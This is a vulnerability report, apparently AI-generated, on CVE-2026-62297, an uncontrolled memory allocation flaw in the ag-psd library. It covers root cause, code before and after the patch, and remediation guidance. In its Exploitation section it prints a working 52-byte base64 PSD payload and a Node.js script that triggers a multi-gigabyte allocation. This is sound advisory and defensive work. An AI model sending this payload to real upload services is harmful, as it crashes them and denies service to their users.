CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-62297

CVE-2026-62297: Uncontrolled Memory Allocation and Denial of Service in ag-psd

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 14, 2026·10 min read·2 visits

Executive Summary (TL;DR)

Versions of the JavaScript PSD parser library ag-psd prior to 31.0.0 allocate image buffers based directly on unvalidated width, height, and bit-depth fields in the PSD header. A crafted 52-byte payload can force the Node.js runtime to allocate over 3.35 GB of off-heap memory, causing immediate denial of service via Out-Of-Memory (OOM) crashes.

An uncontrolled memory allocation vulnerability exists in ag-psd versions prior to 31.0.0. When parsing Adobe Photoshop Document (PSD) files, the readPsd() function reads image dimensions and color depth directly from the file header and allocates off-heap typed arrays without validating whether the requested memory size is proportional to the input stream or bounded by operational thresholds. An unauthenticated attacker can supply a crafted 52-byte PSD payload that triggers an immediate 3.35 GB memory allocation, resulting in process termination via the operating system Out-Of-Memory (OOM) killer.

Vulnerability Overview

ag-psd is a pure JavaScript library used within the Node.js and browser ecosystems for reading and writing Adobe Photoshop Document (.psd and .psb) files. Because it does not rely on native C/C++ bindings or external imaging binaries like ImageMagick, it is frequently deployed in serverless functions, containerized microservices, and automated asset processing pipelines that accept user-uploaded graphics.

In versions prior to 31.0.0, the library's core decoding routine, readPsd(), exhibits an Uncontrolled Memory Allocation vulnerability classified under CWE-789 (Memory Allocation with Excessive Size Value) and parent category CWE-400 (Uncontrolled Resource Consumption). When processing an input buffer, the parser extracts the canvas geometry (width and height) and bit depth (bitsPerChannel) from the fixed-length PSD header and immediately initializes typed arrays (Uint8ClampedArray, Uint16Array, or Float32Array) to hold the uncompressed composite pixel data.

The parser performs this allocation prior to verifying whether the remaining byte stream actually contains sufficient compressed or uncompressed data to populate the buffer. Furthermore, versions prior to 31.0.0 enforce no upper threshold on total memory allocation. Consequently, an attacker with network access to an upload endpoint can submit a truncated, 52-byte header declaring large dimensions and 32-bit color depth, forcing the runtime to request gigabytes of off-heap memory instantaneously.

Root Cause Analysis

The root cause resides in how ag-psd processes the 26-byte Photoshop File Header Section and transitions into the Image Data Section. According to the Adobe PSD specification, the file header begins with the 4-byte signature 8BPS (0x38 0x42 0x50 0x53), followed by a 2-byte version integer, 6 reserved bytes, a 2-byte channel count, a 4-byte unsigned integer for height (supporting up to 30,000 pixels for PSD and 300,000 for PSB), a 4-byte unsigned integer for width, a 2-byte depth field (1, 8, 16, or 32 bits per channel), and a 2-byte colorMode field.

When readPsd() processes a file, it sequentially reads the header, the Color Mode Data section, the Image Resources section, and the Layer and Mask Information section before reaching the final composite Image Data section. If the header specifies zero-length offsets for the intermediate sections, the parser advances directly to readImageData() after consuming fewer than 40 bytes of input. At this stage, readImageData() reads a 2-byte compression flag (0 for Raw Data, 1 for RLE) and immediately invokes createImageDataBitDepth(psd.width, psd.height, bitsPerChannel).

Inside createImageDataBitDepth(), the library calculates the total buffer size required to represent the four-channel (RGBA) image in memory. When the header declares a bitDepth of 32, the function instantiates a Float32Array of length width * height * channels. Because each element in a Float32Array occupies 4 bytes, the total byte allocation is governed by the formula width * height * 4 * 4.

In Node.js (V8), typed arrays are backed by ArrayBuffer instances allocated outside the standard V8 JavaScript heap in C++ off-heap memory. When new Float32Array(...) is executed, the runtime immediately requests the contiguous block from the operating system allocator. Even if the input buffer ends immediately after the compression flag—meaning the subsequent stream read will throw an out-of-bounds RangeError—the multi-gigabyte memory allocation occurs first, triggering OS-level memory exhaustion before the exception can be raised or handled.

Code Analysis

In versions prior to 31.0.0, the vulnerable allocation path in src/psdReader.ts occurred unconditionally during composite image reading and layer channel initialization. The function createImageDataBitDepth accepted the parsed geometry and instantiated the backing typed array without verifying the total byte count against any configuration threshold.

// Vulnerable implementation prior to v31.0.0 (src/psdReader.ts)
function readImageData(reader: PsdReader, psd: Psd) {
    if (compression !== Compression.RawData && compression !== Compression.RleCompressed)
        throw new Error(`Compression type not supported: ${compression}`);
 
    // Unchecked dimensions passed directly to buffer allocator
    const imageData = createImageDataBitDepth(psd.width, psd.height, bitsPerChannel);
    resetImageData(imageData);
    // ... subsequent stream reads fail only AFTER memory is allocated
}
 
export function createImageDataBitDepth(width: number, height: number, bitDepth: number, channels = 4): PixelData {
    if (bitDepth === 1 || bitDepth === 8) {
        if (channels === 4) {
            return createImageData(width, height);
        } else {
            return { width, height, data: new Uint8ClampedArray(width * height * channels) };
        }
    } else if (bitDepth === 16) {
        return { width, height, data: new Uint16Array(width * height * channels) };
    } else if (bitDepth === 32) {
        // 4 bytes per float * 4 channels * width * height
        return { width, height, data: new Float32Array(width * height * channels) };
    }
    throw new Error(`Color bit depth not supported: ${bitDepth}`);
}

In commit 2d7da68400990bae8ba248a065eb45021fa8000a (released as version 31.0.0), the maintainer introduced a totalMemoryLimit property on the PsdReader state object, defaulting to 2 GiB (2 * 1024 * 1024 * 1024 bytes), alongside a useRawData option to defer bitmap decoding.

// Patched implementation in v31.0.0 (src/psdReader.ts)
if (!reader.totalMemoryLimit) {
    reader.totalMemoryLimit = 2 * 1024 * 1024 * 1024; // Default 2GB memory limit
}
 
function createImageDataBitDepth(
    width: number,
    height: number,
    bitDepth: number,
    channels: number,
    memoryLimit: number | undefined
): PixelData {
    // Calculate exact byte footprint before allocation
    const sizeInBytes = width * height * channels * Math.max(1, bitDepth / 8);
    if (memoryLimit !== undefined && sizeInBytes > memoryLimit) {
        throw new Error('Exceeded memory limit');
    }
    // ... proceed with TypedArray allocation
}

> [!WARNING] > Fix Completeness & Residual Risk: While version 31.0.0 introduces totalMemoryLimit for composite image data, the default cap of 2 GB remains high enough to crash standard containerized environments (such as AWS Lambda or Kubernetes pods configured with 512 MB or 1 GB limits). Additionally, the official advisory notes that complete coverage of separate layer-rectangle allocation paths (layer.right - layer.left, layer.bottom - layer.top) requires explicit application-level validation using useRawData: true.

Exploitation

Exploiting CVE-2026-62297 requires no authentication or complex state manipulation. An attacker only needs to deliver a crafted byte stream to any application function that invokes readPsd() without skipCompositeImageData: true. The official regression test added in commit 2d7da68400990bae8ba248a065eb45021fa8000a (src/test/psdReader.spec.ts) demonstrates how a 52-byte base64-encoded payload triggers the vulnerability.

The 52-byte payload (OEJQUwABAAAAAAAAAA0AADcuAAA58wAgAAMAAAAAAAAAAAAAAAAAAdEgNZv+i9bc9ygd2A==) constructs a minimal header with the following binary layout:

  • Bytes 0x00–0x03 (38 42 50 53): ASCII magic signature "8BPS".
  • Bytes 0x04–0x05 (00 01): Version 1 (standard PSD).
  • Bytes 0x06–0x0B (00 00 00 00 00 00): Reserved zero padding.
  • Bytes 0x0C–0x0D (00 0D): Channel count set to 13.
  • Bytes 0x0E–0x11 (00 00 37 2E): Image height set to 14,126 pixels.
  • Bytes 0x12–0x15 (00 00 39 F3): Image width set to 14,835 pixels.
  • Bytes 0x16–0x17 (00 20): Bit depth set to 32 bits per channel.
  • Bytes 0x18–0x19 (00 03): Color mode 3 (RGB).
  • Bytes 0x1A–0x25: Section lengths (0 for Color Data, 0 for Image Resources, 1 byte for Layer/Mask info) followed by trailing bytes that align the reader at the composite image compression flag.

When readPsd() evaluates this 52-byte buffer, it computes the required composite buffer size as 14,835 * 14,126 * 4 channels * 4 bytes = 3,352,999,680 bytes (approximately 3.35 GB or 3.12 GiB). The following standalone script demonstrates the memory spike prior to stream failure:

const { readPsd } = require('ag-psd');
 
// 52-byte payload declaring a 14835 x 14126, 32-bit RGB PSD
const maliciousPsdBase64 = 'OEJQUwABAAAAAAAAAA0AADcuAAA58wAgAAMAAAAAAAAAAAAAAAAAAdEgNZv+i9bc9ygd2A==';
const payloadBuffer = Buffer.from(maliciousPsdBase64, 'base64');
 
console.log(`[+] Feeding payload of ${payloadBuffer.length} bytes to ag-psd...`);
console.log(`[+] Initial Process RSS: ${(process.memoryUsage().rss / (1024 * 1024)).toFixed(2)} MB`);
 
try {
    // In ag-psd < 31.0.0, this allocates ~3.35 GB off-heap before throwing RangeError
    readPsd(payloadBuffer);
} catch (err) {
    console.error(`[-] Stream error after allocation:`, err.message);
    console.log(`[!] Peak Process RSS: ${(process.memoryUsage().rss / (1024 * 1024)).toFixed(2)} MB`);
}

Impact Assessment

The primary impact of CVE-2026-62297 is high-severity Denial of Service (DoS) against the application runtime, reflected in its CVSS v3.1 score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Because the vulnerability is triggered purely by header metadata prior to reading image payload bytes, the amplification factor is extreme: a 52-byte network request forces a 3,352,999,680-byte memory allocation, yielding an amplification ratio exceeding 64,000,000 to 1.

In containerized environments (such as Docker, Kubernetes, or cloud FaaS platforms) where memory limits are enforced via Linux cgroups, attempting to allocate and zero-initialize (resetImageData) a 3.35 GB buffer immediately breaches standard container thresholds (typically 512 MB to 2 GB). When the threshold is breached, the Linux kernel Out-Of-Memory (OOM) killer sends SIGKILL to the Node.js process. Because SIGKILL cannot be caught or handled by JavaScript try/catch blocks or process uncaught exception handlers, the server terminates abruptly, dropping all concurrent in-flight requests serviced by that worker.

On bare-metal servers or virtual machines with larger physical memory pools or swap space, an attacker can send multiple 52-byte payloads concurrently. This exhausts physical RAM and forces the host into severe swap thrashing or triggers V8 fatal out-of-memory aborts (FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed), rendering the service unavailable without requiring sustained network bandwidth.

Remediation

To remediate CVE-2026-62297, upgrade ag-psd to version 31.0.0 or later. However, because version 31.0.0 sets the default totalMemoryLimit to 2 GB—which is still sufficient to crash memory-constrained containers—and because individual layer bounding boxes can also trigger large allocations, upgrading the package alone is insufficient for untrusted inputs.

Engineering teams must explicitly configure a lower totalMemoryLimit tailored to their runtime memory ceiling and adopt a two-stage validation pattern using the useRawData: true option introduced in 31.0.0. By enabling useRawData: true and useRawThumbnail: true, readPsd() parses the document structure and layer metadata without allocating or decompressing bitmap buffers.

import { readPsd, getLayerImageData } from 'ag-psd';
 
const MAX_DIMENSION = 8192;
const MAX_LAYERS = 50;
const MAX_MEMORY_BYTES = 100 * 1024 * 1024; // 100 MB cap
 
export function safeParsePsd(untrustedBuffer: Buffer) {
    // Stage 1: Parse structure only; enforce strict memory cap
    const psd = readPsd(untrustedBuffer, {
        totalMemoryLimit: MAX_MEMORY_BYTES,
        useRawData: true,
        useRawThumbnail: true
    });
 
    // Stage 2: Validate composite canvas dimensions
    if (psd.width > MAX_DIMENSION || psd.height > MAX_DIMENSION) {
        throw new Error(`PSD dimensions (${psd.width}x${psd.height}) exceed maximum allowed (${MAX_DIMENSION}px)`);
    }
 
    // Stage 3: Recursively validate layer counts and bounding rectangles
    let layerCount = 0;
    function validateLayer(layer: any) {
        layerCount++;
        if (layerCount > MAX_LAYERS) {
            throw new Error(`Layer count exceeds maximum allowed (${MAX_LAYERS})`);
        }
 
        const layerWidth = (layer.right || 0) - (layer.left || 0);
        const layerHeight = (layer.bottom || 0) - (layer.top || 0);
        if (layerWidth > MAX_DIMENSION || layerHeight > MAX_DIMENSION) {
            throw new Error('Layer geometry exceeds maximum allowed dimension');
        }
 
        layer.children?.forEach(validateLayer);
    }
 
    psd.children?.forEach(validateLayer);
    return psd;
}

In addition to code-level bounds checking, organizations processing untrusted PSD files should execute ag-psd inside isolated worker processes or ephemeral sandboxes rather than on the primary API event loop. This ensures that if an unexpected memory spike occurs, any resulting OOM termination is contained to the isolated worker.

Official Patches

AgamnentzarOfficial fix commit for v31.0.0 introducing memory allocation limits and lazy raw data decoding.
AgamnentzarGitHub Security Advisory GHSA-qfx6-q44v-9qqw.
AgamnentzarRelease 31.0.0 source tree.

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.34%
Top 72% most exploited

Affected Systems

ag-psd (npm package)

Affected Versions Detail

Product
Affected Versions
Fixed Version
ag-psd
Agamnentzar
< 31.0.031.0.0
AttributeDetail
CVE IDCVE-2026-62297 (GHSA-qfx6-q44v-9qqw)
Weakness ClassCWE-789: Memory Allocation with Excessive Size Value
CVSS v3.1 Score7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
EPSS Score0.34% (27.71st Percentile)
Affected Componentag-psd (< 31.0.0) readPsd() / createImageDataBitDepth()
ImpactDenial of Service via 3.35+ GB Off-Heap OOM Exhaustion
Exploit StatusPublic PoC Available (52-byte PSD payload)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499.003Endpoint Denial of Service: Application Exhaustion Flood
Impact
CWE-789
Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, without verifying that the size is within expected bounds, allowing arbitrary amounts of memory to be allocated.

Known Exploits & Detection

GitHubOfficial commit containing the 52-byte base64 test vector in src/test/psdReader.spec.ts that triggers a 3.35 GB allocation.

Vulnerability Timeline

Patch committed to ag-psd repository (2d7da68400990bae8ba248a065eb45021fa8000a) and released in v31.0.0.
2026-06-25
CVE-2026-62297 reserved by GitHub CNA.
2026-07-13
GitHub Security Advisory GHSA-qfx6-q44v-9qqw and CVE-2026-62297 officially published.
2026-10-30
CISA ADP SSVC assessment completed (Exploitation: poc, Automatable: yes).
2026-11-02
Vulnerability record updated with complete version range metadata.
2026-11-04

References & Sources

  • [1]GitHub Security Advisory (GHSA-qfx6-q44v-9qqw)
  • [2]Official Fix Commit (v31.0.0)
  • [3]ag-psd Release 31.0.0 Tree
  • [4]Official CVE Record (CVE.org)
  • [5]National Vulnerability Database (NVD) - CVE-2026-62297
  • [6]CVEProject cvelistV5 Record
  • [7]ag-psd GitHub Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-126297
7.5

CVE-2026-126297: Algorithmic Complexity Denial of Service in NLTK ConllCorpusReader

CVE-2026-126297 (GHSA-v8f3-6phw-6mh9) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. Located in the Semantic Role Labeling (SRL) parser within `nltk/corpus/reader/conll.py`, the flaw allows an attacker to trigger quadratic O(N^2) CPU processing overhead by providing crafted CoNLL-formatted corpus inputs containing decoy span columns or nested full-width verb spans. Applications parsing untrusted linguistic corpora can experience prolonged CPU exhaustion and application-level Denial of Service (DoS).

Amit Schendel
Amit Schendel
3 views•12 min read
•about 2 hours ago•CVE-2026-126298
7.5

CVE-2026-126298: Quadratic Algorithmic Complexity Denial of Service in NLTK Tree.chomsky_normal_form

CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.

Alon Barad
Alon Barad
6 views•12 min read
•about 3 hours ago•CVE-2026-126299
7.5

CVE-2026-126299: Quadratic Algorithmic Complexity Denial of Service in NLTK CCG Lexicon Parser

An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.

Alon Barad
Alon Barad
5 views•10 min read
•about 4 hours ago•CVE-2026-126295
7.1

CVE-2026-126295: Path Traversal and Unconfined File Access in NLTK BllipParser

CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 5 hours ago•CVE-2026-126300
5.3

CVE-2026-126300: Algorithmic Complexity Denial of Service in NLTK TreebankWordTokenizer.span_tokenize

CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 6 hours ago•GHSA-GPWC-27CW-RH9R
5.3

CVE-2026-126301: Quadratic CPU Exhaustion in NLTK LegalitySyllableTokenizer

The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.

Amit Schendel
Amit Schendel
5 views•10 min read